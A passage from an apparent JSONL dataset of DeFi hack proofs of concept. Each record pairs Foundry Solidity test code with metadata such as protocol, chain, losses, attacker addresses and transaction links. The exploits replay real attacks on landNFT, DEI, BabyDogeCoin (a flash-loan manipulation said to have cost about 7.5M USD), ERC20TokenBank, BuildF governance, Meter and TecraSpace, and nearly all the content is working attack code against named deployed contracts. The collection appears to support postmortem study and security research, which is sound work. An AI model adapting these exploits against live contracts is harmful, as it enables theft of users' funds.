cheats.createSelectFork(\"bsc\", 28_208_132);\n cheats.label(address(landNFT), \"landNFT\");\n cheats.label(address(minerContract), \"Miner\");\n }\n\n function testExploit() public {\n emit log_named_uint(\"Attacker amount of NFT land before mint\", landNFT.balanceOf(address(this)));\n\n address[] memory to = new address[](1);\n to[0] = address(this);\n uint256[] memory amount = new uint256[](1);\n amount[0] = 200;\n minerContract.mint(to, amount);\n\n emit log_named_uint(\"Attacker amount of NFT land after mint\", landNFT.balanceOf(address(this)));\n }\n\n function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {\n return this.onERC721Received.selector;\n }\n}\n", "type": "exploit_poc", "protocol": "landNFT", "date": "2023-05", "file_name": "landNFT_exp.sol", "attack_vector": null, "content_hash": "e49f13074a87a050", "collected_at": "2026-01-07T10:59:16.522718", "_source": "postmortems", "chain": "bsc", "block_number": 28208132, "total_lost_raw": "200 land NFT => 28,601 $XQJ => 149,616 $BUSD", "total_lost_usd": 200.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0xe4db1550e3aa78a05e93bfd8fbe21b6eba5cce50dc06688949ab479ebed18048", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "200 land NFT => 28,601 $XQJ => 149,616 $BUSD", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Attacker amount of NFT land before mint\", landNFT.balanceOf(address(this)));\n\n address[] memory to = new address[](1);\n to[0] = address(this);\n uint256[] memory amount = new uint256[](1);\n amount[0] = 200;\n minerContract.mint(to, amount);\n\n emit log_named_uint(\"Attacker amount of NFT land after mint\", landNFT.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "200 land NFT => 28,601 $XQJ => 149,616 $BUSD", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0xe4db1550e3aa78a05e93bfd8fbe21b6eba5cce50dc06688949ab479ebed18048", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$200", "content_richness_score": 5.86, "quality_estimate": "medium", "title": "landNFT Exploit (2023-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/eugenioclrc/status/1654576296507088906\n// @TX\n// https://arbiscan.io/tx/0xb1141785b7b94eb37c39c37f0272744c6e79ca1517529fec3f4af59d4c3c37ef\n\ninterface IStablePair {\n function sync() external;\n function skim() external;\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n}\n\ninterface IDEI is IERC20 {\n function burnFrom(address account, uint256 amount) external;\n}\n\ncontract DEIPocTest is Test {\n IStablePair pair = IStablePair(0x7DC406b9B904a52D10E19E848521BbA2dE74888b);\n IDEI DEI = IDEI(0xDE1E704dae0B4051e80DAbB26ab6ad6c12262DA0);\n IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"arbitrum\", 87_626_024);\n }\n\n function testExploit() public {\n console.log(\"DEI balance: \", DEI.balanceOf(address(this)));\n\n DEI.approve(address(pair), type(uint256).max);\n DEI.burnFrom(address(pair), 0);\n DEI.transferFrom(address(pair), address(this), DEI.balanceOf(address(pair)) - 1);\n console.log(\"DEI balance from attacker: \", DEI.balanceOf(address(this)));\n\n pair.sync();\n\n DEI.transfer(address(pair), DEI.balanceOf(address(this)));\n pair.swap(0, 5_047_470_472_572, address(this), \"\");\n console.log(\"USDC balance after: \", USDC.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "DEI", "date": "2023-05", "file_name": "DEI_exp.sol", "attack_vector": null, "content_hash": "458b14aee28bc5e5", "collected_at": "2026-01-07T10:59:16.522758", "_source": "postmortems", "chain": "arbitrum", "block_number": 87626024, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n console.log(\"DEI balance: \", DEI.balanceOf(address(this)));\n\n DEI.approve(address(pair), type(uint256).max);\n DEI.burnFrom(address(pair), 0);\n DEI.transferFrom(address(pair), address(this), DEI.balanceOf(address(pair)) - 1);\n console.log(\"DEI balance from attacker: \", DEI.balanceOf(address(this)));\n\n pair.sync();\n\n DEI.transfer(address(pair), DEI.balanceOf(address(this)));\n pair.swap(0, 5_047_470_472_572, address(this), \"\");\n console.log(\"USDC balance after: \", USDC.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.81, "quality_estimate": "low", "title": "DEI Exploit (2023-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~7.5M USD$\n// Attacker : https://bscscan.com/address/0xcbc0d0c1049eb011d7c7cfc4ff556d281f0afebb\n// Attack Contract : https://bscscan.com/address/0x51873a0b615a51115f2cfbc2e24d9db4bfa2e6e2\n// Vulnerable Contract : https://bscscan.com/address/0xc748673057861a797275cd8a068abb95a902e8de\n// Attack Tx : https://bscscan.com/tx/0x098e7394a1733320e0887f0de22b18f5c71ee18d48a0f6d30c76890fb5c85375\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xc748673057861a797275cd8a068abb95a902e8de#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1662744426475831298\n\ninterface IFarm {\n function depositOnBehalf(uint256 amount, address account) external;\n function stakeToken() external returns (address);\n}\n\ninterface IFarmZAP {\n function buyTokensAndDepositOnBehalf(\n IFarm farm,\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path\n ) external payable returns (uint256);\n}\n\ncontract ContractTest is Test {\n IERC20 BABYDOGE = IERC20(0xc748673057861a797275CD8A068AbB95A902e8de);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xc736cA3d9b1E90Af4230BD8F9626528B3D4e0Ee0);\n IFarmZAP FarmZAP = IFarmZAP(0x451583B6DA479eAA04366443262848e27706f762);\n IAaveFlashloan Radiant = IAaveFlashloan(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281);\n uint256 i;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_593_354);\n cheats.label(address(WBNB), \"WBNB\");\n cheats.label(address(BABYDOGE), \"BABYDOGE\");\n cheats.label(address(Pair), \"Pair\");\n cheats.label(address(FarmZAP), \"FarmZAP\");\n cheats.label(address(Radiant), \"Radiant\");\n }\n\n function testExploit() external {\n deal(address(this), 0);\n address[] memory assets = new address[](1);\n assets[0] = address(WBNB);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 80_000 * 1e18;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n Radiant.flashLoan(address(this), assets, amounts, modes, address(0), new bytes(0), 0);\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n WBNB.approve(address(Radiant), amounts[0] + premiums[0]);\n WBNB.withdraw(80_000 * 1e18);\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BABYDOGE);\n FarmZAP.buyTokensAndDepositOnBehalf{value: 80_000 ether}(IFarm(address(this)), 80_000 * 1e18, 0, path);\n BABYDOGEToWBNBInPancake();\n BABYDOGE.transferFrom(address(FarmZAP), address(BABYDOGE), BABYDOGE.balanceOf(address(FarmZAP)) - 1);\n BABYDOGE.transferFrom(address(FarmZAP), address(this), 1); // tigger sell BABYDOGECOIN and addLiquidity in pancakeSwap\n WBNBToBABYDOGEInPancake();\n WBNB.withdraw(0.001 ether);\n FarmZAP.buyTokensAndDepositOnBehalf{value: 0.001 ether}(IFarm(address(this)), 1e15, 0, path);\n BABYDOGEToWBNBInFarmZAP();\n return true;\n }\n\n function BABYDOGEToWBNBInPancake() internal {\n (uint256 WBNBReserve, uint256 BABYReserve,) = Pair.getReserves();\n BABYDOGE.transferFrom(address(FarmZAP), address(Pair), BABYReserve * 769 / 1000);\n uint256 amountIn = BABYDOGE.balanceOf(address(Pair)) - BABYReserve;\n uint256 amountOut = (9975 * amountIn * WBNBReserve) / (10_000 * BABYReserve + 9975 * amountIn);\n Pair.swap(amountOut, 0, address(this), new bytes(0));\n }\n\n function WBNBToBABYDOGEInPancake() internal {\n (uint256 WBNBReserve, uint256 BABYReserve,) = Pair.getReserves();\n WBNB.transfer(address(Pair), WBNBReserve * 767 / 1000);\n uint256 amountIn = WBNB.balanceOf(address(Pair)) - WBNBReserve;\n uint256 amountOut = (9975 * amountIn * BABYReserve) / (10_000 * WBNBReserve + 9975 * amountIn);\n Pair.swap(0, amountOut, address(FarmZAP), new bytes(0));\n }\n\n function BABYDOGEToWBNBInFarmZAP() internal {\n BABYDOGE.transferFrom(address(FarmZAP), address(this), BABYDOGE.balanceOf(address(FarmZAP)));\n BABYDOGE.approve(address(FarmZAP), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(BABYDOGE);\n path[1] = address(WBNB);\n FarmZAP.buyTokensAndDepositOnBehalf(IFarm(address(this)), BABYDOGE.balanceOf(address(this)), 0, path);\n WBNB.transferFrom(address(FarmZAP), address(this), WBNB.balanceOf(address(FarmZAP)));\n }\n\n receive() external payable {}\n\n function depositOnBehalf(uint256 amount, address account) external {}\n\n function stakeToken() external returns (address) {\n i++;\n if (i != 3) {\n return address(BABYDOGE);\n } else {\n return address(WBNB);\n }\n }\n}\n", "type": "exploit_poc", "protocol": "BabyDogeCoin", "date": "2023-05", "file_name": "BabyDogeCoin_exp.sol", "attack_vector": "flash_loan", "content_hash": "ffc98cc92e120cf9", "collected_at": "2026-01-07T10:59:16.522796", "_source": "postmortems", "chain": "bsc", "block_number": 28593354, "total_lost_raw": "~7.5M USD$", "total_lost_usd": 7500000.0, "attacker_address": "https://bscscan.com/address/0xcbc0d0c1049eb011d7c7cfc4ff556d281f0afebb", "attack_contract": "https://bscscan.com/address/0x51873a0b615a51115f2cfbc2e24d9db4bfa2e6e2", "vulnerable_contract": "https://bscscan.com/address/0xc748673057861a797275cd8a068abb95a902e8de", "attack_tx": "https://bscscan.com/tx/0x098e7394a1733320e0887f0de22b18f5c71ee18d48a0f6d30c76890fb5c85375", "postmortem_url": null, "twitter_url": "https://twitter.com/Phalcon_xyz/status/1662744426475831298", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "~7.5M USD$", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~7.5M USD$", "keyinfo_attacker": "https://bscscan.com/address/0xcbc0d0c1049eb011d7c7cfc4ff556d281f0afebb", "keyinfo_attack_contract": "https://bscscan.com/address/0x51873a0b615a51115f2cfbc2e24d9db4bfa2e6e2", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xc748673057861a797275cd8a068abb95a902e8de", "keyinfo_attack_tx": "https://bscscan.com/tx/0x098e7394a1733320e0887f0de22b18f5c71ee18d48a0f6d30c76890fb5c85375", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/Phalcon_xyz/status/1662744426475831298", "funds_lost_formatted": "$7.50M", "content_richness_score": 7.68, "quality_estimate": "medium", "title": "BabyDogeCoin Exploit (2023-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~111K USD$\n// Attacker : https://etherscan.io/address/0xc0ffeebabe5d496b2dde509f9fa189c25cf29671\n// Attack Contract : https://etherscan.io/address/0x7c28e0977f72c5d08d5e1ac7d52a34db378282b3\n// Vulnerable Contract : https://etherscan.io/address/0x765b8d7cd8ff304f796f4b6fb1bcf78698333f6d\n// Attack Tx : https://etherscan.io/tx/0x578a195e05f04b19fd8af6358dc6407aa1add87c3167f053beb990d6b4735f26\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x765b8d7cd8ff304f796f4b6fb1bcf78698333f6d#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/BlockSecTeam/status/1663810037788311561\n\ninterface IExchangeBetweenPools {\n function doExchange(\n uint256 amounts\n ) external returns (bool);\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IExchangeBetweenPools ExchangeBetweenPools = IExchangeBetweenPools(0x765b8d7Cd8FF304f796f4B6fb1BCf78698333f6D);\n IcurveYSwap curveYSwap = IcurveYSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);\n Uni_Pair_V3 Pair = Uni_Pair_V3(0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168);\n uint256 victimAmount = 119_023_523_157;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 17_376_906);\n cheats.label(address(USDC), \"USDC\");\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(ExchangeBetweenPools), \"ExchangeBetweenPools\");\n cheats.label(address(curveYSwap), \"curveYSwap\");\n }\n\n function testExploit() external {\n USDC.approve(address(curveYSwap), type(uint256).max);\n address(USDT).call(abi.encodeWithSignature(\"approve(address,uint256)\", address(curveYSwap), type(uint256).max));\n Pair.flash(address(this), 0, 120_000 * 1e6, new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n\n function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n curveYSwap.exchange_underlying(1, 2, 120_000 * 1e6, 0);\n ExchangeBetweenPools.doExchange(victimAmount);\n curveYSwap.exchange_underlying(2, 1, USDT.balanceOf(address(this)), 0);\n USDC.transfer(address(Pair), 120_000 * 1e6 + uint256(amount1));\n }\n}\n", "type": "exploit_poc", "protocol": "ERC20TokenBank", "date": "2023-05", "file_name": "ERC20TokenBank_exp.sol", "attack_vector": null, "content_hash": "abbe2134cca4f66d", "collected_at": "2026-01-07T10:59:16.522851", "_source": "postmortems", "chain": "ethereum", "block_number": 17376906, "total_lost_raw": "~111K USD$", "total_lost_usd": 111000.0, "attacker_address": "https://etherscan.io/address/0xc0ffeebabe5d496b2dde509f9fa189c25cf29671", "attack_contract": "https://etherscan.io/address/0x7c28e0977f72c5d08d5e1ac7d52a34db378282b3", "vulnerable_contract": "https://etherscan.io/address/0x765b8d7cd8ff304f796f4b6fb1bcf78698333f6d", "attack_tx": "https://etherscan.io/tx/0x578a195e05f04b19fd8af6358dc6407aa1add87c3167f053beb990d6b4735f26", "postmortem_url": null, "twitter_url": "https://twitter.com/BlockSecTeam/status/1663810037788311561", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~111K USD$", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~111K USD$", "keyinfo_attacker": "https://etherscan.io/address/0xc0ffeebabe5d496b2dde509f9fa189c25cf29671", "keyinfo_attack_contract": "https://etherscan.io/address/0x7c28e0977f72c5d08d5e1ac7d52a34db378282b3", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x765b8d7cd8ff304f796f4b6fb1bcf78698333f6d", "keyinfo_attack_tx": "https://etherscan.io/tx/0x578a195e05f04b19fd8af6358dc6407aa1add87c3167f053beb990d6b4735f26", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/BlockSecTeam/status/1663810037788311561", "funds_lost_formatted": "$111.0K", "content_richness_score": 5.29, "quality_estimate": "medium", "title": "ERC20TokenBank Exploit (2023-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IBuildFinance BuildGovernance = IBuildFinance(0x5A6eBeB61A80B2a2a5e0B4D893D731358d888583);\n IERC20 build = IERC20(0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739);\n\n function setUp() public {\n cheat.createSelectFork(\"mainnet\", 14_235_712); // fork mainnet at block 14235712\n }\n\n function test() public {\n cheat.prank(0x562680a4dC50ed2f14d75BF31f494cfE0b8D10a1);\n build.transfer(address(this), 101_529_401_443_281_484_977);\n emit log_named_uint(\"Befre proposing, BUILD balance of attacker:\", build.balanceOf(address(this)));\n build.approve(address(BuildGovernance), type(uint256).max);\n\n BuildGovernance.propose(\n 0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739,\n 0,\n hex\"095ea7b3000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"\n );\n emit log_named_uint(\"After proposing, BUILD balance of attacker:\", build.balanceOf(address(this)));\n emit log_named_uint(\"BUILD balance of BuildGovernance contract:\", build.balanceOf(address(BuildGovernance)));\n cheat.prank(0xf41c13f4E2f750408fC6eb5cF0E34225D52E7002);\n build.approve(address(BuildGovernance), type(uint256).max);\n cheat.prank(0xf41c13f4E2f750408fC6eb5cF0E34225D52E7002);\n BuildGovernance.vote(8, true);\n emit log_named_int(\"Proposal count:\", BuildGovernance.proposalCount());\n emit log_named_uint(\"Proposal state:\", BuildGovernance.state(8));\n\n cheat.warp(1_655_436_437);\n emit log_named_uint(\"After 2 days, Proposal state:\", BuildGovernance.state(8));\n BuildGovernance.execute(\n 8,\n 0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739,\n 0,\n hex\"095ea7b3000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"\n );\n build.transferFrom(address(BuildGovernance), address(this), build.balanceOf(address(BuildGovernance)));\n emit log_named_uint(\"After exploiting, BUILD balance of attacker:\", build.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "BuildF", "date": "2022-02", "file_name": "BuildF_exp.sol", "attack_vector": null, "content_hash": "3a0e357ab6c8eb3b", "collected_at": "2026-01-07T10:59:16.522897", "_source": "postmortems", "chain": "unknown", "block_number": 14235712, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function test() public {\n cheat.prank(0x562680a4dC50ed2f14d75BF31f494cfE0b8D10a1);\n build.transfer(address(this), 101_529_401_443_281_484_977);\n emit log_named_uint(\"Befre proposing, BUILD balance of attacker:\", build.balanceOf(address(this)));\n build.approve(address(BuildGovernance), type(uint256).max);\n\n BuildGovernance.propose(\n 0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739,\n 0,\n hex\"095ea7b3000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"\n );\n emit log_named_uint(\"After proposing, BUILD balance of attacker:\", build.balanceOf(address(this)));\n emit log_named_uint(\"BUILD balance of BuildGovernance contract:\", build.balanceOf(address(BuildGovernance)));\n cheat.prank(0xf41c13f4E2f750408fC6eb5cF0E34225D52E7002);\n build.approve(address(BuildGovernance), type(uint256).max);\n cheat.prank(0xf41c13f4E2f750408fC6eb5cF0E34225D52E7002);\n BuildGovernance.vote(8, true);\n emit log_named_int(\"Proposal count:\", BuildGovernance.proposalCount());\n emit log_named_uint(\"Proposal state:\", BuildGovernance.state(8));\n\n cheat.warp(1_655_436_437);\n emit log_named_uint(\"After 2 days, Proposal state:\", BuildGovernance.state(8));\n BuildGovernance.execute(\n 8,\n 0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739,\n 0,\n hex\"095ea7b3000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"\n );\n build.transferFrom(address(BuildGovernance), address(this), build.balanceOf(address(BuildGovernance)));\n emit log_named_uint(\"After exploiting, BUILD balance of attacker:\", build.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.24, "quality_estimate": "low", "title": "BuildF Exploit (2022-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface SushiRouter {\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address attacker = 0x8d3d13cac607B7297Ff61A5E1E71072758AF4D01;\n address sushiSwapRouter = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"moonriver\", 1_442_490); //fork moonriver at block 1442490\n // https://moonriver.moonscan.io/tx/0x5a87c24d0665c8f67958099d1ad22e39a03aa08d47d00b7276b8d42294ee0591\n }\n\n function testExploit() public {\n cheats.startPrank(attacker);\n\n address[] memory path = new address[](2);\n path[0] = 0x8d3d13cac607B7297Ff61A5E1E71072758AF4D01;\n path[1] = 0x639A647fbe20b6c8ac19E48E2de44ea792c62c5C;\n // sushiSwapRouter.call(hex\"38ed173900000000000000000000000000000000000000000000006c6b935b8bbd400000000000000000000000000000000000000000000000000000d30870ab532ed0c500000000000000000000000000000000000000000000000000000000000000a00000000000000000000000008d3d13cac607b7297ff61a5e1e71072758af4d010000000000000000000000000000000000000000000000000000000061fe94f80000000000000000000000000000000000000000000000000000000000000002000000000000000000000000868892cccedbff0b028f3b3595205ea91b99376b000000000000000000000000639a647fbe20b6c8ac19e48e2de44ea792c62c5c\");\n\n sushiSwapRouter.call(\n abi.encodeWithSignature(\n \"swapExactTokensForTokens(uint256,uint256,address[],address,uint256)\",\n 2_000_000_000_000_000_000_000, // amountIn\n 15_206_528_022_953_775_301, // amountOutMin\n path, // path\n 0x8d3d13cac607B7297Ff61A5E1E71072758AF4D01, // to\n 1_644_074_232 // deadline\n )\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Meter", "date": "2022-02", "file_name": "Meter_exp.sol", "attack_vector": null, "content_hash": "1fa45f12f9bb35c6", "collected_at": "2026-01-07T10:59:16.522940", "_source": "postmortems", "chain": "unknown", "block_number": 1442490, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n cheats.startPrank(attacker);\n\n address[] memory path = new address[](2);\n path[0] = 0x8d3d13cac607B7297Ff61A5E1E71072758AF4D01;\n path[1] = 0x639A647fbe20b6c8ac19E48E2de44ea792c62c5C;\n // sushiSwapRouter.call(hex\"38ed173900000000000000000000000000000000000000000000006c6b935b8bbd400000000000000000000000000000000000000000000000000000d30870ab532ed0c500000000000000000000000000000000000000000000000000000000000000a00000000000000000000000008d3d13cac607b7297ff61a5e1e71072758af4d010000000000000000000000000000000000000000000000000000000061fe94f80000000000000000000000000000000000000000000000000000000000000002000000000000000000000000868892cccedbff0b028f3b3595205ea91b99376b000000000000000000000000639a647fbe20b6c8ac19e48e2de44ea792c62c5c\");\n\n sushiSwapRouter.call(\n abi.encodeWithSignature(\n \"swapExactTokensForTokens(uint256,uint256,address[],address,uint256)\",\n 2_000_000_000_000_000_000_000, // amountIn\n 15_206_528_022_953_775_301, // amountOutMin\n path, // path\n 0x8d3d13cac607B7297Ff61A5E1E71072758AF4D01, // to\n 1_644_074_232 // deadline\n )\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.08, "quality_estimate": "low", "title": "Meter Exploit (2022-02)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\n @KeyInfo\n - Total Lost: 639,222 $USDT\n - Attacker: https://etherscan.io/address/0xb19b7f59c08ea447f82b587c058ecbf5fde9c299\n - Attack Contract: https://etherscan.io/address/0x6653d9bcbc28fc5a2f5fb5650af8f2b2e1695a15\n - Vuln Contract: https://etherscan.io/address/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1\n - Attack Tx: https://app.blocksec.com/explorer/tx/eth/0x81e9918e248d14d78ff7b697355fd9f456c6d7881486ed14fdfb69db16631154\n*/\ninterface IUSDTInterface {\n function approve(address spender, uint256 value) external;\n}\n\ninterface ITcrInterface {\n function burnFrom(address from, uint256 amount) external;\n function approve(address spender, uint256 amount) external;\n}\n\ninterface IUNIswapV2 {\n function swapExactETHForTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IPairPoolInterface {\n function sync() external;\n}\n\ncontract ExploitTest is Test {\n address TCR = 0xE38B72d6595FD3885d1D2F770aa23E94757F91a1;\n address usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\n address route = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address pool = 0x420725A69E79EEffB000F98Ccd78a52369b6C5d4;\n uint256 constant MAX = type(uint256).max;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_139_082 - 1);\n cheats.label(address(usdt), \"USDT\");\n cheats.label(address(TCR), \"TCR\");\n cheats.label(address(route), \"UniswapRoute\");\n cheats.label(address(weth), \"WETH\");\n cheats.label(address(pool), \"PairPool\");\n deal(address(this), 0.04 ether);\n }\n\n function testExploit() external {\n IUSDTInterface(usdt).approve(route, type(uint256).max);\n ITcrInterface(TCR).approve(route, type(uint256).max);\n ITcrInterface(TCR).approve(pool, type(uint256).max);\n\n emit log_named_decimal_uint(\n \"Exploiter USDT balance before attack\", IERC20(usdt).balanceOf(address(this)), IERC20(usdt).decimals()\n );\n uint256 wethAmount = address(this).balance;\n address[] memory path = new address[](3);\n path[0] = weth;\n path[1] = usdt;\n path[2] = TCR;\n uint256 deadline = block.timestamp + 24 hours;\n\n IUNIswapV2(route).swapExactETHForTokens{value: wethAmount}(1, path, address(this), deadline);\n uint256 poolTCRbalance = IERC20(TCR).balanceOf(pool);\n ITcrInterface(TCR).burnFrom(pool, poolTCRbalance - 100_000_000);\n uint256 attackerTCRbalance = IERC20(TCR).balanceOf(address(this));\n IPairPoolInterface(pool).sync();\n address[] memory path2 = new address[](2);\n path2[0] = TCR;\n path2[1] = usdt;\n IUNIswapV2(route).swapExactTokensForTokens(attackerTCRbalance, 1, path2, address(this), deadline);\n\n emit log_named_decimal_uint(\n \"Exploiter USDT balance after attack\", IERC20(usdt).balanceOf(address(this)), IERC20(usdt).decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "TecraSpace", "date": 